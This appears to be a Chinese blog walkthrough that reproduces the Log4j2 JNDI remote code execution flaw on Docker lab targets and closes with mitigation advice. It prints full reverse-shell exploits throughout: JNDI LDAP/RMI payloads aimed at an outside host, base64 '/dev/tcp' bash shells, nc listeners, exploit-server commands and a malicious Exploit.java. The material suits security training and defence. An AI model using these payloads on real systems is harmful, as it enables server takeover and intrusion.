Apache Log4j2简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了
log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组
建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

Apache Log4j2漏洞简介

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目
标服务器上执行任意代码。

漏洞影响范围和版本

范围:

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

版本:
Apache Log4j 2.0 ~ 2.15.0-rc1

漏洞复现一

  1. docker搭建靶场环境
docker pull vulfocus/log4j2-rce-2021-12-09
docker run d-ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09

  1. 访问靶场环境。

POC测试

  1. POC1测试:
    (1)去dnslog.cn生成一个临时域名。

(2)对该域名进行URL编码。

http://171.16.1.106:8888/hello?payload=

(3)点击Execution执行。


(4)返回dnslog.cn,查看结果

  1. POC2测试:

使用burpsuite中Decoder模块进行URL编码。

使用burpsuite抓包构造payload。

exp测试

  1. 下载JNDIExploit工具
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
  1. 使用JNDIExploit工具搭建恶意JNDI服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 171.16.1.105

  1. 启动监听端口接收shell
nc -lvvp 8888

  1. 构造EXP
bash -i >& /dev/tcp/1.15.132.67/8888 0>&1
base64编码 -> url编码
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvODg4OCAwPiYx

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D

得到反弹shell的EXP:

${jndi:ldap://1.15.132.67:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D}

对EXP进行URL编码:

 %24%7Bjndi%3Aldap%3A%2F%2F1.15.132.67%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%252BJjE%253D%7D

发送Payload请求:

LDAP服务器接收到请求,并传输Payload:

成功得到shell:

漏洞复现二

  1. vim docker-compose.yml把下边内容写进去。
version: '2'
services:solr:image: vulhub/solr:8.11.0ports:- "8983:8983"
docker-compose up -d

  1. 访问靶场地址。

Poc测试

  1. 从dnslog.cn获得临时域名。
  2. 将域名带入POC进行测试。
http://171.16.1.106:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.v9jz7o.dnslog.cn}

  1. 执行成功,存在漏洞。

Exp测试

  1. 下载 JNDI-Injection-Exploit 工具。
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
  1. 构造命令执行。
    监听端口。

bash -i >& /dev/tcp/1.15.132.67/9999 0>&1
ava-runtime-exec转换:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}|
{base64,-d}|{bash,-i}

  1. 工具使用
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address

  2. 得到反弹shell的EXP,返回浏览器发送!
    rmi://1.15.132.67:1099/n69nur

ldap://1.15.132.67:1389/n69nur

  1. 得到shell。

漏洞复现三

  1. 编写恶意代码。
    Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {public Exploit(){try{Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx} | {base64,-d}|{bash,-i}");}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e = new Exploit();}
}

  1. 编译恶意代码文件。

  2. 开启http服务。

  3. 启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://1.15.132.67:8000/#Exploit" 9999

  1. 监听端口
nc -lnvp 6666

  1. url编码转换

  2. 返回监听窗口getshell。

漏洞修补建议

通用修补建议

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时修补建议

  1. 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
  2. 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版
    本也不能完全保证安全,依然存在本地绕过的情况。
  3. 限制不必要的业务访问外网。
  4. 采用 rasp 对 lookup 的调用进行阻断。

Apache Log4j2历史漏洞复现相关推荐

  1. 黑哥点评|关于 Apache Log4j2 高危漏洞的思考与建议

    2021年12月8日,知道创宇404积极防御实验室通过创宇安全智脑监测到Apache Log4j2远程代码执行高危漏洞(CVE-2021-44228)被攻击者利用,且该漏洞细节已经被公开扩散. 经专家 ...

  2. Apache Log4j2 RCE漏洞利用反弹shell合集

    目录 一.漏洞描述 二.漏洞复现 1. bugku靶场 反弹shell 命令执行 2. 掌控安全 反弹shell 三.Burp扫描插件 四.修复建议 一.漏洞描述 2021年11月24日,阿里云安全团 ...

  3. 系统安全通知:关于近期Apache Log4j2执行漏洞

    近日,WebRAY安全服务部监测到Apache Log4j2存在远程代码执行漏洞(CVE-2021-44228),通过构造恶意的代码即可利用该漏洞,从而导致服务器权限丢失. 有不少客户存在这样的疑虑: ...

  4. Weblogic历史漏洞复现

    Weblogic WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式 ...

  5. DedeCMS历史漏洞复现之代码执行漏洞

    本文介绍的漏洞虽然不是最新漏洞,但意在让初学者了解漏洞复现的基本流程. 首先了解一下什么是CMS.CMS是Content Management System的缩写,意为"内容管理系统&quo ...

  6. Thinkphp历史漏洞复现

    Thinkphp简介 Thinkphp 是一种开源框架.是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架. 很多cms(内容管理系统)就是基于 thin ...

  7. Apache Shiro-721反序列化漏洞复现(vulhub)

    下载并启动环境 docker pull vulfocus/shiro-721 docker run -d -p 8080:8080 vulfocus/shiro-721 登录网页 输入用户名和密码并勾 ...

  8. Apache漏洞复现

    目录 1.Apache多后缀解析漏洞复现(apache_parsing_vulnerability) 漏洞防御 2.Apache换行解析漏洞复现(CVE-2017-15715) 漏洞防御 3.CVE- ...

  9. Apache Log4j2漏洞复现

    0x00 前言 慢慢的距离上次写文章已过去了377天,这一年发生了好多好多的事,经历了好多好多的变故,或喜或悲.或分或合.起起落落,整整的一年了得,没怎么好好学习,没怎么认真的钻研技术,对自己表示很抱 ...

  10. Log4j2漏洞复现(CVE-2021-44228)

    引言 Apache Log4j是一个基于Java的日志记录组件,通过重写Log4j引入了丰富的功能特性,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息.Apache Log4j2存在 ...

最新文章

  1. 人群分析--ResnetCrowd: A Residual Deep Learning Architecture
  2. math-neon基于NEON指令的数学库
  3. JZOJ 5444. 【NOIP2017提高A组冲刺11.2】救赎
  4. 到国外使用wifi悠着点防止天价帐单
  5. SAP Commerce(原Hybris)的订单处理框架和SAP CRM One Order框架
  6. 修改属性页CPropertyPage标题
  7. 一个关于pynoi游戏的C语言编程
  8. 同理心案例及故事分享_神经形态,视觉可及性和同理心
  9. java生成随机数的两种方式
  10. Hystrix面试 - 基于 timeout 机制为服务接口调用超时提供安全保护
  11. Python collections的使用
  12. 华为海思总裁致信员工:多年备胎一夜转正 挽狂澜于既倒
  13. php在线解密mcrypt,PHP 基于 Mcrypt 的加密解密简单类
  14. 一个用python写的从数字高程格式文件(DEM)中提取水系的模块
  15. web前端入门到实战:CSS3中width值为max/min-content及fit-content的理解
  16. 小程序分类图标提取_微信全国垃圾分类小程序上线,一键搜索轻松分类垃圾
  17. ug筋板不能正确覆盖开放轮廓_安徽省六安市第一中学2017届高三上学期第二次月考地理【解析】...
  18. 数字化转型不是选择,是生存发展的必然。
  19. Linux - 零拷贝技术
  20. MySQL权限与安全管理之权限表与账户管理

热门文章

  1. ACL 2022 主会长文论文分类整理
  2. 单片机/开发板连接配置的三种方式
  3. 利用华为DTM将事件发送到Firebase
  4. 怎么批量给文件名加统一的几个字?
  5. android 坡度计算器,坡度换算角度计算器(坡度计算器)
  6. 新手小白入门编程第1讲 计算机基础知识 JAVA基础知识
  7. 第1天学习打卡(Javaweb 邮件发送:原理、发送简单文本邮件、发送带图片和附件邮件、网站注册发送邮件Servlet实现)
  8. 一个汉字到底占几个字节
  9. Matlab fprintf
  10. 信必优成功案例 – 中国网络电视台(CNTV)